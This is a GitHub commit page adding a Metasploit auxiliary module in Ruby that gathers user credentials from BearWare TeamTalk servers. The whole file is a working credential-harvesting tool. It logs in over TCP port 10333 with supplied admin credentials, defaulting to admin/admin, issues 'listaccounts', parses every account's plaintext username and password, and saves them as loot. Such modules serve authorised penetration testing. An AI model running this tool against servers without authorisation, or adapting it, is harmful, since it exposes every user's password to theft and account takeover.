Skip to content

Commit d66e806

Browse files
committed
Add TeamTalk Gather Credentials auxiliary module
1 parent 6bb7457 commit d66e806

File tree

1 file changed

+178
-0
lines changed

1 file changed

+178
-0
lines changed
Lines changed: 178 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,178 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::Tcp
8+
include Msf::Auxiliary::Report
9+
10+
def initialize(info = {})
11+
super(update_info(info,
12+
'Name' => 'TeamTalk Gather Credentials',
13+
'Description' => %q{
14+
This module retrieves user credentials from BearWare TeamTalk.
15+
16+
Valid administrator credentials are required.
17+
18+
This module has been tested successfully on TeamTalk versions
19+
5.2.2.4885 and 5.2.3.4893.
20+
},
21+
'Author' => 'Brendan Coles <bcoles[at]gmail.com>',
22+
'References' =>
23+
[
24+
# Protocol documentation
25+
['URL', 'https://github.com/BearWare/TeamTalk5/blob/master/ttphpadmin/tt5admin.php']
26+
],
27+
'License' => MSF_LICENSE))
28+
register_options [
29+
Opt::RPORT(10333),
30+
OptString.new('USERNAME', [false, 'The username for TeamTalk', 'admin']),
31+
OptString.new('PASSWORD', [false, 'The password for the specified username', 'admin'])
32+
]
33+
end
34+
35+
def run
36+
vprint_status 'Connecting...'
37+
38+
connect
39+
banner = sock.get_once
40+
41+
unless banner =~ /^teamtalk\s.*protocol="([\d\.]+)"/
42+
fail_with Failure::BadConfig, 'TeamTalk does not appear to be running'
43+
end
44+
45+
print_status "Found TeamTalk (protocol version #{$1})"
46+
47+
report_service :host => rhost,
48+
:port => rport,
49+
:proto => 'tcp',
50+
:name => 'teamtalk'
51+
52+
vprint_status "Authenticating as '#{username}'"
53+
54+
req = "login username=\"#{username.tr('"', '\"')}\" password=\"#{password.tr('"', '\"')}\""
55+
res = send_command req
56+
57+
unless res.to_s.starts_with? 'accepted'
58+
fail_with Failure::NoAccess, 'Authentication failed'
59+
end
60+
61+
print_good 'Authenticated successfully'
62+
63+
if res =~ /usertype=2/
64+
print_good 'User is an administrator'
65+
else
66+
print_warning 'User is not an administrator'
67+
end
68+
69+
vprint_status "Retrieving users..."
70+
71+
res = send_command 'listaccounts'
72+
73+
if res =~ /^error/ && res =~ /message="Command not authorized"/
74+
print_error 'Insufficient privileges'
75+
return
76+
end
77+
78+
unless res =~ /^ok\r?\n?\z/
79+
print_error 'Unexpected reply'
80+
return
81+
end
82+
83+
cred_table = Rex::Text::Table.new 'Header' => 'TeamTalk User Credentials',
84+
'Indent' => 1,
85+
'Columns' => ['Username', 'Password', 'Type']
86+
87+
res.each_line do |line|
88+
line.chomp!
89+
next unless line =~ /^useraccount/
90+
91+
user = line.scan(/\s+username="(.*?)"\s+password=/).flatten.first.to_s.gsub('\"', '"')
92+
pass = line.scan(/\s+password="(.*?)"\s+usertype=/).flatten.first.to_s.gsub('\"', '"')
93+
type = line.scan(/\s+usertype=(\d+)\s+/).flatten.first
94+
95+
cred_table << [ user, pass, type ]
96+
report_cred user: user,
97+
password: pass,
98+
type: type,
99+
proof: line
100+
end
101+
102+
if cred_table.rows.empty?
103+
print_error 'Did not find any users'
104+
return
105+
end
106+
107+
print_status "Found #{cred_table.rows.size} users"
108+
print_line
109+
print_line cred_table.to_s
110+
111+
p = store_loot 'teamtalk.user.creds',
112+
'text/csv',
113+
rhost,
114+
cred_table.to_csv,
115+
'TeamTalk User Credentials'
116+
117+
print_good "Credentials saved in: #{p}"
118+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
119+
print_error e.message
120+
ensure
121+
disconnect
122+
end
123+
124+
private
125+
126+
def username
127+
datastore['USERNAME'] || ''
128+
end
129+
130+
def password
131+
datastore['PASSWORD'] || ''
132+
end
133+
134+
def report_cred(opts)
135+
service_data = {
136+
address: rhost,
137+
port: rport,
138+
service_name: 'teamtalk',
139+
protocol: 'tcp',
140+
workspace_id: myworkspace_id
141+
}
142+
143+
credential_data = {
144+
origin_type: :service,
145+
module_fullname: fullname,
146+
username: opts[:user],
147+
private_data: opts[:password],
148+
private_type: :password
149+
}.merge service_data
150+
151+
login_data = {
152+
last_attempted_at: DateTime.now,
153+
core: create_credential(credential_data),
154+
status: Metasploit::Model::Login::Status::UNTRIED,
155+
access_level: opts[:type],
156+
proof: opts[:proof]
157+
}.merge service_data
158+
159+
create_credential_login login_data
160+
end
161+
162+
def send_command(cmd = '')
163+
cmd_id = rand(1000)
164+
sock.put "#{cmd} id=#{cmd_id}\n"
165+
166+
res = ''
167+
timeout = 15
168+
Timeout.timeout(timeout) do
169+
res << sock.get_once until res =~ /^end id=#{cmd_id}/
170+
end
171+
172+
res.to_s.scan(/begin id=#{cmd_id}\r?\n(.*)\r?\nend id=#{cmd_id}/m).flatten.first
173+
rescue Timeout::Error
174+
print_error "Timeout (#{timeout} seconds)"
175+
rescue => e
176+
print_error e.message
177+
end
178+
end

0 commit comments

Comments
 (0)